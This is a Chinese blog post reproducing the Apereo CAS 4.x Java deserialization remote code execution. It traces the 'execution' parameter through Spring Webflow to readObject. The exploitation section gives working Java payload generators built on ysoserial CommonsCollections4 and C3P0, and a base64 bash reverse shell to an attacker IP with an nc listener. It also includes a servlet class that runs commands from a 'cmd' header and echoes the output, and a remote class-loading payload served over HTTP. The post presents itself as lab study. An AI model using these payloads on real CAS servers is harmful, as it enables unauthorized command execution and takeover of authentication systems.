Apereo Cas4.x 反序列化漏洞复现之复现分析与利用

前言

  接上一章调试环境搭建。本章将展开对Apereo Cas4.x详细分析和利用

一、调试分析

Apereo Cas 4.1.X~4.1.6

 抓取登录数据包

 

  Apereo CAS具体开发框架流程咱也不熟悉,从数据包中就关注两点:POST传参和execution;

刚好做过简单的javaweb开发,知道在servlet层会存在doPost()方法接收request请求。

那么首先需要找到doPost()所在类,才能往下追踪值的传递,而execution被封装在request请求中,追踪request传递即参数提取动作即可。

根据已搭建好的运行环境,Debug模式运行

在登录页面随便输入账号密码进行登录

 

  接着F7进去查看,调用了processRequest方法,request请求继续丢给doService()方法处理,此处doService()下个断点,F9立刻跳到当前下的断点

 

  F7跟进去查看,发现调用了DispatcherServlet类的doService方法

 

  标个断点继续往下跟,request经过checkMultipart处理返回给processedRequest,盯着它processedRequest,在下面调用了handle()方法进行处理

 

 

 跟进去发现引用的是FlowHandlerAdapter类的handle方法,这里关注调用的getFlowExecutionKey()和resumeExecution()方法

 

  通过getFlowExecutionKey(request)方法获取前端post传来的execution的值

FlowExecutionResult result = this.flowExecutor.resumeExecution(flowExecutionKey, context);

调用了resumeExecution()方法进行处理flowExecutionKey,继续跟进该方法

 

  resumeExecution为FlowExecutorImpl实现类的方法。

方法中先调用了parseFlowExecutionKey方法处理

跟进查看parseFlowExecutionKey

 

  继续跟进查看parse方法,发现通过”_”字符分割字符串flowExecutionKey为uuid和base64编码的两部分内容,最后查看返回值是我们追踪的数据

FlowExecutionKey key = this.executionRepository.parseFlowExecutionKey(flowExecutionKey);

 

  接着看getFlowExecution方法,通过getData()函数将key转成字节流,丢到decode方法解密处理

 

  ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);

查看decode(),调用Decrypt方法解密,最后通过readObject读取对象进行反序列化输出,触发漏洞。

 

  存在默认的加密密钥

 

 

 

  当前类中同时定义了encode()方法,攻击者可通过它生成恶意对象。

 

  整个解密执行过程大概酱紫:

 

  通过encode方法生成加密的字节数组并进行base64编码,头部拼接随机生成uuid值,因为存在默认的加密密钥值,导致攻击者可伪造execution值;而项目依赖库中存在commons-collections4-4.0.jar,该版本存在反序列化漏洞,通过精心构建execution值,可实现远程命令执行。

Aperao Cas 4.1.7~4.2.X

直到org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode方法的流程都一样,在加解密部分发生了变化,直接上图:

 

  查看cas.properties文件,看到4.2.7版本中并不存在默认的key,且名称也发生变化,用的是webflow.encryption.key和webflow.signing.key

 

  在BinaryCipherExecutor类中,检查这两个值,当不存在的时候,就会随机生成加密的key

感兴趣可以在这里下断点看看生成的key和singkey

 

  当decode时候,可以看到它随机生成的16位key

 

二、漏洞利用

4.1.x~4.1.6

(1)远程命令执行

根据前面的过程分析,随机生成uuid

因为漏洞项目中存在commons-collections4-4.0.jar,所以需要调用ysoserial中的CommonsCollections4文件,引用的时候直接定义变量,赋值该类名即可

 

  确定payload类型后与要执行的命令通过makePayloadObject方法生成恶意对象

借助org.jasig.spring.webflow.plugin. EncryptedTranscoder#encode方法将恶意对象序列化并进行加密、编码,拼接uuid组成恶意的execution值,发包达到命令执行效果。

 

 

  生成Payload的 代码:

public class app{
public static void main(String[] args) throws IOException {
try {
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
EncryptedTranscoder et = new EncryptedTranscoder();
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}

(2)Linux下,反弹shell

在线工具(http://www.jackson-t.ca/runtime-exec-payloads.html)生成反弹shell

 

其中192.168.3.35为模拟公网上的攻击机,6666为端口号

将生成的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}再转成payload

 

  先在192.168.3.35机子上开启监听

Kali上nc -lvp 6666

接着放包

 

  反弹成功。

 (3)命令执行并回显

 

 根据大佬的说法以及对比网上大佬提供的代码

可以看成三部分

 

 代码:

public class CasExp{
public CasExp() throws IOException{
ExternalContext externalContext = ExternalContextHolder.getExternalContext();
Object request = externalContext.getNativeRequest();
Object response = externalContext.getNativeResponse();
HttpServletRequest httpServletRequest = (HttpServletRequest)request;
HttpServletResponse httpServletResponse = (HttpServletResponse)response;
String Command = httpServletRequest.getHeader("cmd");

Process proc = Runtime.getRuntime().exec(Command);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream(), "utf-8"));
StringBuffer stringBuffer = new StringBuffer();
String line;
while ((line = bufferedReader.readLine()) != null){
stringBuffer.append(line).append(" ");
}
String result = stringBuffer.toString();

ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
servletOutputStream.write(result.getBytes());
servletOutputStream.flush();
servletOutputStream.close();

}
}

第一是获取request请求,解析包中的自定义属性cmd

然后去exec执行。因为第一次接触,不熟悉它的用法,然后*度学习exec用法,再单独写个方法去测试。

 

  最后部分就是获取exec执行结果返回servlet层,response到前端。

 接着要如何引用CasExp类?

将payloadsutilGadgets.java文件createTemplatesImpl方法中的StubTransletPayload改成自定义的CasExp,注释这里的cmd操作

 

  下面简单去分析一下,先从前面的自定义的main开始

 

  使用ObjectPayload.Utils.makePayloadObject方法生成对象,跟进查看(选中makePayloadObject方法ctlr+鼠标左键单击)

可以看到payloadType就是我们传的“CommonsCollections4”(CC4),调用ysoserial中存在的该类

 

  通过newInstance方法实例化CC4,所以下面的getObject方法是CC4中的,用的不是当前所在类的类方法

查看getObject方法, 通过Gadgets.createTemplatesImpl创建templates类存储危险的代码

 

  跟进

 

  获取ClassPool 容器,在容器中添加我们自定义的CasExp类,从而生成恶意的对象。

分析结束,试试漏洞回显之旅

Command变量空字符即可

 

  在请求头中添加cmd:命令,cmd:ipconfig

 

4.1.7~4.2.x

既然加密方法调用不一样,先断点调试ysoserial中的encrypt方法用的是?

 

  毫无疑问明显不能直接用了

Key随机生成,只能自己先编码生成,然后写到cas.properties文件中才行(这个漏洞有点鸡肋了,除非通过任意文件下载cas.properties获取密钥)

在BinaryCipherExecutor中verifyAndSetKeys方法中生成key行代码下断点,debug到断点处,将生成的signingKeyToUse和encryptionSecretKey拿出来。

 

  写入靶机配置文件中

 

  这两项虽然对结果没有影响,为方便测试还得设置了它支持http

 

  将项目部署在tomcat中运行。(不会打包就网上直接下载cas-server-webapp-4.2.7项目源码,丢到webapps下面行了。如果自己打包的war,在tomcat下直接跑会报错,需要将cas.properties文件拷贝到项目的WEB-INF目录下,同时修改propertyFileConfigurer.xml文件中的location,指向cas.properties)

 

  开始复现,根据加解密规则,写了段代码

   public static void main(String[] args) throws IOException {
        try {
            String type = "C3P0";
            String command = "http://192.168.200.106:6666/:CasExp42x";
            String id = UUID.randomUUID().toString();
            Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
            BinaryCipherExecutor binaryCipherExecutor = new BinaryCipherExecutor("gJAmUFnxIsPKZDMF", "U0wsU1tdvKo-tsWEe5cGx6egiSgnIZF9DxH-OPFxfYN1ko8GVsSfUt5DIGMMznMLyKM1ZHgefsRfL7rpxlu_Xg");
            ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
            ObjectOutputStream out = null;
            try{
                out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
                out.writeObject(obj);
            }finally {
                if (out != null) {
                    out.close();
                }
            }
            byte[] btobj = outBuffer.toByteArray();
            byte[] code = binaryCipherExecutor.encode(btobj);
            String payload = Base64.getEncoder().encodeToString(code);
            String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
            System.out.println(data);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }

BinaryCipherExecutor构造器中的两个参数为cas.properties文件中webflow.encryption.key、webflow.signing.key的值。

因为该版本没有CommonsCollections4包了,而存在C3P0包,所以通过它进行利用,里面的IP为假定的公网服务器IP(这里是我的kali),端口随意,不冲突即可,端口后面的CasExp42x为kali上的一个class文件

为什么command的值要这种格式?

查看payloads下C3P0文件,可以看到以最后一个冒号切割字符串,获取攻击者的公网ip和类名(实例化恶意对象执行命令)

 

  将CasExp42x.java编译

 

 

   代码:

public class CasExp42x {
    public CasExp42x(){
        try {
            java.lang.Runtime.getRuntime().exec(
                new String[]{"cmd.exe","/C","calc.exe"}
            );
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        CasExp42x e = new CasExp42x();
    }
}

然后将CasExp42x.class文件拷贝到kali中

 

  注意:要使用BinaryCipherExecutor类必须导入cas-server-core-util-4.2.7.jar包,而ysoserial中默认没有,所以以防其它错误,干脆将apereo cas4.2.7项目中的lib复制到ysoserial根目录下

 

  然后在idea中导入这些依赖包,不会导的看前面的环境搭建内容。

运行app文件,生成execution值

 

  在kali上监听开设的http服务端口6666

Python3 -m http.server 6666

 

  接着抓包替换execution值,发送

 

 成功远程加载kali上的CasExp42x.class文件

可以看到监听记录有

 

  

踩坑:

1、一开始根据vulhub上的方式复现,生成的ch0mieBy文件,以为是在靶机上根盘下的二级子目录tmp下

 

  还以为是命令执行不成功,但尝试反弹shell命令又能被成功执行。。。。

所以猜想此tmp非彼tmp

反手就来个find查询找正主

Find / -name ch0mieBy

 

  好家伙,原来是这个tmp。

2、过程中,有监听记录,但计算机并没有弹出来

 

  去查看,tomcat日志文件

 

  提示找不到路径。神奇,竟然会有我本地ysoserial项目的路径信息

排查结果是class文件有问题,回头看CasExp42x.java代码

 

  因为CasExp42x.java文件直接在idea中创建的,所以包含了项目路径:

package ysoserial.ApereoCasAttack.exploit

删掉,重新生成class文件替换即可。

如有不对的地方,望各位大佬指正。

欢迎各位大佬关注公众号”Fighter安全团队“

文章都是第一时间发布至公众号,让我们共同学习相互进步

参考链接

http://0kam1.top/index.php/2020/08/01/29/

https://www.freebuf.com/vuls/226149.html

https://www.anquanke.com/post/id/198842

http://www.vuln.cn/6295

https://www.00theway.org/2020/01/04/apereo-cas-rce/

大佬的世界,我想去看看
原文地址:https://www.cnblogs.com/gychomie/p/14406485.html